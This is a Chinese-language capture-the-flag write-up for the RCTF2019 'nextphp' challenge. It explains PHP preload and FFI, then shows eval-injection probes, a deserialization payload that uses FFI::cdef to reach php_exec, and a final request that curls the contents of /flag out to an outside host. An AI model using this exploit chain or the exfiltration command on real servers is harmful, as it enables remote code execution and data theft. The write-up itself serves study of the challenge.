RCTF2019 nextphp
PHP的预加载机制(preload)
PHP7.4版本,加入了预加载功能(preload)
一般PHP代码执行过程如下:
词法、语法分析->编译->加载编译代码->执行
而函数预加载则是发生在加载编译代码时,预加载能够将框架,或者是类库预加载到内存中,以进一步提高性能
因此在preload机制中,php文件中定义的所有函数和大多数类都将永久加载到PHP的函数和类表中,并在将来的任何请求的上下文中永久可用
PHP的scandir()函数
scandir()函数能返回指定目录中的文件和目录的数组
例如:
列出 images 目录中的文件和目录
<?php
$dir = "/images/";
// 以升序排序 - 默认
$a = scandir($dir);
// 以降序排序
$b = scandir($dir,1);
print_r($a);
print_r($b);
?>
结果:
Array
(
[0] => .
[1] => ..
[2] => cat.gif
[3] => dog.gif
[4] => horse.gif
[5] => myimages
)
Array
(
[0] => myimages
[1] => horse.gif
[2] => dog.gif
[3] => cat.gif
[4] => ..
[5] => .
)
PHP file_get_contents() 函数
file_get_contents()函数把整个文件读入一个字符串中
例:
<?php
echo file_get_contents("test.txt");
?>
结果输出txt内容:
This is a test file with test text.
PHP FFI
对于PHP,FFI提供了一种在纯PHP中编写PHP扩展和对C库的绑定的方法。
然后,我们需要告诉PHP FFI我们要调用的函数原型是咋样的,这个我们可以使用FFI :: cdef,它的原型是:
FFI :: cdef ([ string $ cdef = “” [, string $ lib = null ]]): FFI
在字符串$ cdef中,我们可以写C语言函数式申明,FFI会parse它,了解到我们要在字符串$ lib这个库中调用的函数的签名是怎样的
RCTF2019 nextphp
如图
eval函数接收a,但是没有对其进行过滤,存在命令执行漏洞
?a=phpinfo+();
仔细查看phpinfo()文件,里面存在
opcache.preload = /var/www/html/preload.php
FFI support = enabled
预加载,以及FFI。FFI的原理是在php中可以调用c语言中的库,因此可以借助c语言去命令执行
如果我们调用scandir函数扫描根目录
?a=var_dump(scandir('/var/www/html'));
就会出现根目录的文件
注意到这里有preload.php文件,我们使用file_get_contents读取
?a=echo file_get_contents('preload.php');
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload)
{$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
由于FFI::cdef 不传第二个参数时,可以直接调用 PHP 源码中的函数
构造payload:
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => "int php_exec(int type, char *cmd);"
];
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __construct () {
}
}
$a = new A;
echo serialize($a);
最后反序列化执行得到flag
?a=$a=unserialize('C%3a1%3a"A"%3a97%3a{a%3a3%3a{s%3a3%3a"ret"%3bN%3bs%3a4%3a"func"%3bs%3a9%3a"FFI%3a%3acdef"%3bs%3a3%3a"arg"%3bs%3a34%3a"int+php_exec(int+type,+char+*cmd)%3b"%3b}}');var_dump($a->ret->php_exec(2,'curl%20f1sh.site:2333/`cat%20/flag`'));
Reference
*https://blog.csdn.net/qq_41683305/article/details/103439126
*https://blog.csdn.net/qq_41809896/article/details/90384668
*https://www.codercto.com/a/80346.html
*https://www.codercto.com/a/79955.html
*https://my.oschina.net/u/4479011/blog/3214893